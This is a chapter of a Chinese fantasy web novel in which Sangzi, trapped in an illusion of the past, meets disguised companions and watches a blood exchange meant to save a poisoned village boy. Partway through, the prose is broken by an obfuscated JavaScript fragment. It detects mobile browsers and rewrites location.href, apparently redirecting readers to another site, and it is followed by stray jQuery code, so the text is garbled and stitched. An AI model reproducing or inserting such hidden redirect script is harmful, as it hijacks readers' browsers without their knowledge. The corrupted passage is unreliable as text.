桑梓还未从自己的得力属下转行去养猪这件事情中反应过来,便突然被一个石子砸中了脑门。
“谁!”
亏了她视力好,顺着石子扔来的方向看去,还真找到了人。
是个男人,跪在地上,身上披麻戴孝,面前一张草席,草席上躺着一具尸体,挂在一旁的木牌上写着“卖身葬父”四个字,他的脸有些脏,但仔细看长相又有些熟悉。
“诸葛富贵?”
桑梓看了好半天才将人认出来,没办法,好几年没见这小子穿破衣烂衫了。
她抬脚想要走到诸葛富贵身边,突然脚步一顿,意识到现在她还能控制自己的身体,诸葛富贵刚刚向她扔石头,说明他也能控制自身,独独她跟季清河不能。
难道是因为叶宁与诸葛富贵所扮演的角色之间互不认识,他们之间没有故事发生,所以两人才能控制住自己的身体?
不认识就好,他们之间说话也方便些。
“你们还好吗,栩云在何处?”方才看见素溪在赶猪,诸葛富贵在卖身葬父,就剩下栩云不知情况了。
——栩云是搬尸体的,我这身份跟他认识。
诸葛富贵并未说话,而是在纸板上写了几个字,递给桑梓看,桑梓见他张了张嘴巴,指了指自己的喉咙,才知他如今是个哑巴。
“没事,季清河是结巴,你们可以聊到一起去。”
——他在哪里,我正要去找他。
“村口的那家客栈,此前我们住的那个地方。”
诸葛富贵点了点头,手指往桑梓的右后方指去,嘴唇无声地动了动,能看出他似乎是在说“石头”二字。
桑梓意识到什么,立刻转过身将方才扔向她的石子捡了起来,上面绑着一张纸条,她将纸条从石头上解开,上面写着一些字:
那老头也在这个幻境里,他给了可以摆脱幻境控制的符,一张能维持一个时辰,只能用两次,你省着点用,他约我们明晚见。
还有,这地方不是普通的幻境,我能从这些人身上感受到一些生机,你自己小心些,我先去给他们几个送灵符去了。
见桑梓看完了纸条,诸葛富贵一把将尸体草席扛到肩上,转身便离开。
他今早一觉醒来便发现自己在街边卖身葬父,仔细观察后便发现这街道同他们待的不是一个地方,听行人的聊天才知道他来到几百年前。
他现在的身份是一个以卖身葬父为生的普通凡人,此人力求找到一个有钱的富婆,实现软饭男之路,巧的是,栩云是义庄的一个打杂小弟,打杂小弟给这货提供尸体,挣的钱两人平分。
意思就是若寻到富婆,可以两人平分。
这几天他一直在卖身葬父与卖身葬父的途中,只是此人挑剔,一直没有找到中意的人。
诸葛富贵对这个人的行为嗤之以鼻,靠女人算什么,堂堂男人就该自己挣钱,怎么能吃软饭呢?
他心中虽这么想,身体却已经找到了一个干净的地方,利落下跪,开始凄惨吆喝。
他想,等晚些这小子葬父结束,他还要去找栩云和季清河,尽快将灵符给他们,此前见素溪在养猪,他便将灵符放在猪圈里,也不知她看没看见。
诸葛富贵离开后,桑梓将手上的灵符收起来,灵符只有两张,得省着点用。
想到诸葛富贵说的生机,她的视线不由朝这些人看去,百年前这些凡人修习功法,但后面被夺回修为,按理说不应该活着才对。
况且幻境只是虚无之物,又何来的生机?
这些人都往祭坛周围凑,也不知道这祭坛是拿来做什么的,空地上围着的应该都是普通凡人,那个叫叶飞霜的人想必还未出现。
小山坡上有两间茅草屋,人群集中在空地上,却没人往茅草屋上去,偶尔有小孩往上走,便会立刻被他们的父母呵斥,看过去他们似乎都有些惧怕茅草屋。
所以,叶飞霜会在那里吗?
正想着,桑梓见自己的身体已经开始朝着小山坡方向走动,她意识到百年前的叶宁此刻也怀揣着同样的疑问,心中顿升一抹奇异的感受。
茅草屋的窗子由油纸糊着,很容易就戳开一个洞,透过狭窄的视线,桑梓看见了一个年轻的女人和之前在客栈喝酒的白胡子男,年轻女人着墨蓝劲装,看过去气质异常,想必是叶飞霜了。
“飞霜大人,怎么不见我家狗娃?”白胡子男手上还攥着油纸包,佝偻着背,转动着眼珠四处看去,同此前在酒楼的模样完全不同。
“他误入了我修炼的地方,误食了丹药。”叶飞霜嘴角紧绷,“如今正在吸收丹药的力量。”
“那......飞霜大人,狗娃现今如何?他.....应该会没事吧,您也吃了那丹药对吗?”
叶飞霜叹了口气,摇了摇头:“这丹药我自己吃过,是目前获得修为最有效的一个方法,配合我的功法对修炼大有裨益,但狗娃......还是个八九岁的孩子,我不敢保证结果。”
“那怎么办!”白胡子男手上的油纸包“啪嗒”一声掉到地上,他一把跪在叶飞霜面前,语气里全是乞求,“求您了飞霜大人,求您救救我家狗娃,我家就狗娃一个孩子,狗娃要是有个好歹,让我和他娘可咋活啊!”
白胡子男似是不知道疼似的,重复机械地磕着头,额上渗出血却不知。
“你起来吧,丹药已入体,我亦无法取出。”叶飞霜眉头轻皱,流露出些许不忍。
“飞霜大人,求你了,要是可以,我......我可以替我家狗娃去死,您救了狗娃,我下辈子给您当牛做马,绝无怨言!”
听到此话,叶飞霜瞳孔微缩,似乎想到了什么:“倒是有一个方法。”
“是......是何方法,只要能救狗娃,让我去死也愿意。”
“换血。”
“换血?”
“不错,我可设法拖住丹药的作用过程,趁着这个时间换血,狗娃便可保住性命。”
“当......当真?”听到此话,白胡子男踉跄地站了起来,“那......那就麻烦飞霜大人您了。”
“只是换血过程凶险,我听他们说你多年患病,身体怕是吃不消......”
“没事,您随意。”白胡子男不在意地摆了摆手,“只要保证狗娃安安全全便好,我无所谓,您不用顾及我。”
说完,他才想起掉落在地的油纸包,低下身捡起递给了叶飞霜:“飞霜大人,若我不幸没活下来,您帮忙把这烤鸡给狗娃,就说......就说他没用的父亲外出了。”
“叫他和他娘好好的。”
“好。”叶飞霜接过油纸包,“走吧。”
叶飞霜叹了口气,带着白胡子男朝里屋走去。
“等一下!”两人说话间,一个女子走了进来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902373|176697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“叶宁?”白胡子男一看是叶宁,面上疑惑,她怎么来了?
叶宁没有理会白胡子男,径直朝着叶飞霜走去。
“飞霜大人,我身强力壮,让我给狗娃换血,这老头子半只脚进棺材了,怕不是一见血就入土了!”
“你——”白胡子男愣住,似乎没想到叶宁会这么说。
叶宁的话虽不好听,但要为狗娃换血的心却是实实在在的,只是这些年他们全村人都与叶宁不和,背后没少嚼她的舌根,她会这么好心?
“你?”叶飞霜第一次正眼看这个女子,她虽出身月华村,却一直在镇上,跟村里的人少有交集,只听过关于叶宁的谣言,说她生性放荡,没有一点女子的样子。
如今看来,谣言真是害人不浅,这叶宁分明眉间带着正气,在她看来,女子谈几个男人属于私事,她只要不干预他人,管她生性放荡还是心如菩萨。
况且,她如今不也只有一个夫君,何来的生性放荡之说?
“你可知这很危险,这丹药力量巨大,一不小心便可失了性命,你确定要这么做?”
“我确定!”叶宁眼神直视着叶飞霜,不闪不避,“飞霜大人您不也服用了吗?您是凡人,我叶宁也是凡人,有何不同?”
“好!”叶飞霜许久不曾见过这般真性情且果敢之人,她面带赞许地点了点头,“你且随我来。”
“等等!”两人走着,突然被叫住。
“叶宁,换血很危险的,狗娃是我的孩子,怎么能让你来拼命,还是我自己来吧。”白胡子男人苦笑。
他是想救他的孩子,可是他也不想让别人白白丢了性命。
“别,我可不是为了你家狗娃,我向往修为已久,有这个机会为何不试?”叶宁翻了个白眼,上下打量着白胡子男,语气嫌弃,“你还是留着你这条老命吧,下半辈子努力挣钱,一把年纪了连孩子的吃食都买不起,混得真差。”
“我......”
“怎么,我骂的不对?”
“对,但......”
“别废话,老娘命大着呢,边儿去!”说完,叶宁也不管白胡子男,抬起脚就往屋子里走去。
叶飞霜无奈地笑了笑,将手上的油纸包递给白胡子男:“拿去吧,到时候亲自交给你的孩子。”
“诶诶......”白胡子男接过油纸包,看着关上的门,直接落了泪,“谢谢......谢谢你们.....”
屋内,桑梓看到一个男孩躺在床上,男孩并无想象中的痛苦挣扎,反而躺在床上,平静异常,但其苍白的脸色和被冷汗浸湿的衣物昭示着方才经历了多大的痛苦。
“来吧。”叶宁不过就是看了一眼床上的人,也没有什么惧怕的情绪,往另一张床上一躺便做好准备。
然而桑梓觉得,叶飞霜所谓的功法不只是服用一枚丹药这么简单,逆天而行的代价可不是每个人都能承受得住。
“先换血,一会儿去祭坛。”叶飞霜面色复杂地看了一眼看了眼叶宁,才准备帮两人换血。
换完血后,桑梓只是感觉身体有些虚弱,并无太大的不适,这就更加笃定了她此前的看法,换血怕只是这功法的其中一环。
叶飞霜检查了男孩的身体状况后,便将男孩抱出去还给白胡子男。
重新走进房间后,她径直走到床边,翻开了床板,床板正中间出现了一个密道口。